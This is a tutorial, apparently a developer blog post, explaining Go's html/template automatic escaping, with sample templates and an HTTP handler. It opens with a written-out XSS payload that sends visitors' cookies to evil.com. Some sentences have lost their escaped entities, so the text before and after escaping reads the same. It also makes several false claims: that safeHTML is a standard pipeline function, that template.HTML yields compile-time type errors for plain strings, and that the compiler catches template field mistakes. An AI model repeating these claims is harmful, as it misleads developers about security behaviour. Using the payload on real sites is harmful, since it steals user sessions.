The comment that broke your site
A user submits a comment on your blog. The text reads <script>fetch('https://evil.com/steal?c='+document.cookie)</script>. You render it directly into the page. The browser executes the script. Every visitor who loads that comment loses their session. You spent three hours debugging a layout shift, only to realize the real problem was missing input sanitization.
Go prevents this by default. The standard library ships with two template packages. text/template treats everything as plain text. html/template treats everything as potentially dangerous and escapes it automatically. The difference is not a configuration flag. It is a package import. When you import html/template, the engine tracks where each value lands in the final document and converts dangerous characters into harmless HTML entities. You do not need to write regex sanitizers. You do not need to manually replace < with <. The engine handles it contextually.
How context-aware escaping works
Browsers parse HTML, CSS, JavaScript, and URLs differently. A single quote is harmless in a paragraph but breaks an HTML attribute. A backtick is fine in text but dangerous in a JavaScript template literal. Go's template engine solves this by tracking the current rendering context as it walks the template tree.
When the parser encounters {{.Content}}, it looks at the surrounding markup. If the placeholder sits inside <p>{{.Content}}</p>, the engine applies HTML body escaping. If it sits inside <input value="{{.Content}}">, it applies attribute escaping. If it sits inside <script>var x = {{.Content}};</script>, it applies JavaScript escaping. The same raw string gets different transformations depending on where it lands. This contextual awareness stops injection attacks that bypass naive string replacement.
The engine does not guess. It builds a syntax tree during parsing and attaches a context type to every node. At runtime, it streams the output and applies the correct transformation function to each value. You get safety without sacrificing performance.
A minimal template that stays safe
package main
import (
"html/template"
"os"
)
// RenderPage executes a simple template with user-supplied data.
func RenderPage() {
// html/template enables automatic context-aware escaping.
tmpl := template.Must(template.New("page").Parse(`
<!DOCTYPE html>
<html>
<body>
<h1>{{.Title}}</h1>
<p>{{.Content}}</p>
</body>
</html>`))
// Simulate untrusted input from a form or API.
data := map[string]string{
"Title": "Weekly Update",
"Content": "<script>alert('XSS')</script>",
}
// Execute streams the escaped output to stdout.
tmpl.Execute(os.Stdout, data)
}
Run this code and inspect the output. The <script> tags become <script>. The browser renders the literal text instead of executing it. The template.Must helper panics if parsing fails, which is the standard convention for templates that are part of your application code. If your templates come from user uploads or external files, skip Must and handle the error explicitly.
What happens under the hood
The template engine performs two distinct phases. Parsing happens once. Execution happens per request.
During parsing, template.New("page").Parse(...) reads the string and builds an abstract syntax tree. The parser identifies action blocks like {{.Title}} and records their position relative to surrounding HTML tags. It attaches a context label to each action: HTML, HTMLAttr, JS, CSS, or URL. If the parser cannot determine the context, it defaults to HTML. This step catches structural mistakes early. You get a clear error if you forget to close a {{if}} block or use a malformed action.
During execution, tmpl.Execute(w, data) walks the tree and writes to the provided io.Writer. When it hits a variable action, it checks the value's type. If the value is a plain string, the engine applies the escaping function tied to that node's context. If the value is already a template.HTML type, the engine skips escaping and writes it verbatim. This type-based opt-out is how you safely render trusted content without disabling protection globally.
The engine streams output directly to the writer. It does not build a massive string in memory. This design keeps memory usage flat even for large templates.
Serving templates in a real HTTP handler
Web applications rarely print to stdout. They write to an http.ResponseWriter. The pattern stays the same, but you add error handling and content-type headers.
package main
import (
"html/template"
"net/http"
)
// PageData holds the fields expected by the template.
type PageData struct {
Title string
Content string
}
// RenderHandler serves an HTML page with auto-escaped content.
func RenderHandler(w http.ResponseWriter, r *http.Request) {
// Set the correct MIME type so browsers parse it as HTML.
w.Header().Set("Content-Type", "text/html; charset=utf-8")
// Parse the template once in production. Cache it in a package-level variable.
tmpl := template.Must(template.New("index").Parse(`
<!DOCTYPE html>
<html>
<head><title>{{.Title}}</title></head>
<body>
<h1>{{.Title}}</h1>
<div class="content">{{.Content}}</div>
</body>
</html>`))
// Gather data from your application logic.
data := PageData{
Title: "Dashboard",
Content: "<b>Bold text</b> & <script>bad()</script>",
}
// Execute writes directly to the response writer.
if err := tmpl.Execute(w, data); err != nil {
// Log the error and return a generic failure message.
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
}
}
The Content-Type header tells the browser to treat the response as HTML. Without it, some browsers fall back to text/plain and render the escaped entities as visible text. The error check after Execute follows Go's standard error-handling pattern. You log the actual error internally and return a safe fallback to the client. Never leak template execution errors to the browser.
When to bypass the safety net
Auto-escaping protects you from accidental XSS. It also blocks legitimate use cases. A rich text editor returns sanitized HTML. A CMS stores formatted paragraphs. A third-party widget injects a tracking script. You need to render raw HTML in these cases.
Go provides two mechanisms to opt out. The type system approach is preferred. Wrap the string in template.HTML before passing it to the template.
package main
import (
"html/template"
"os"
)
// RenderTrustedHTML demonstrates the type-safe bypass.
func RenderTrustedHTML() {
tmpl := template.Must(template.New("trusted").Parse(`
<div>{{.RawContent}}</div>`))
// Wrap trusted content in template.HTML to skip escaping.
data := map[string]any{
"RawContent": template.HTML("<p>This is <b>safe</b> HTML.</p>"),
}
tmpl.Execute(os.Stdout, data)
}
The template.HTML type carries a compile-time guarantee. The compiler knows the value is marked safe. The template engine respects the type and writes it directly. This approach fails fast if you accidentally pass a plain string. You get a type mismatch error instead of silent escaping or worse, silent injection.
The pipeline function approach uses {{.Variable | safeHTML}}. It works, but it bypasses the type system. You can accidentally pipe untrusted data through safeHTML and create an XSS hole. Reserve the pipeline function for legacy templates or dynamic contexts where you cannot control the data type at compile time. Prefer the template.HTML wrapper in new code.
Common traps and compiler warnings
Developers trip over three patterns when working with templates.
First, importing the wrong package. If you import text/template instead of html/template, you lose all escaping. The compiler will not stop you. The packages share the same function signatures. You only notice when a user injects a script. Always verify your import path. If you forget to import html/template and try to use it, the compiler rejects the file with undefined: template or html/template not found in module path. Double-check your import block.
Second, bypassing escaping on untrusted data. Marking user input as template.HTML without sanitization defeats the entire safety model. The engine trusts the type. It does not scan for <script> tags. You must sanitize the content before wrapping it, or accept the risk.
Third, template injection through dynamic template names or sources. Loading templates from user-controlled paths or strings allows attackers to overwrite your template tree. The parser will happily compile {{.SecretKey}} if you feed it malicious source code. Keep template sources in your application directory. Validate paths against a whitelist. Never pass user input to template.ParseFiles or template.Parse.
The compiler also warns about unused variables and mismatched types. If you pass a struct with lowercase fields to a template, the engine cannot access them. Go's template engine only sees exported fields. You get a runtime error like template: index: 1:3: executing "page" at <.Title>: can't evaluate field Title in type main.PageData. Fix it by capitalizing the field name. The compiler catches many of these issues early if you use template.Must during development.
Pick the right tool for the job
Use html/template when you render web pages, API responses, or any content that a browser will parse. Use text/template when you generate plain text, configuration files, or SQL queries where HTML entities would break the syntax. Use template.HTML when you have verified, sanitized content that must render as raw markup. Use the safeHTML pipeline function only when you cannot control the data type at compile time and you have already sanitized the input. Use template.Must for application-bundled templates and explicit error handling for user-provided or external templates.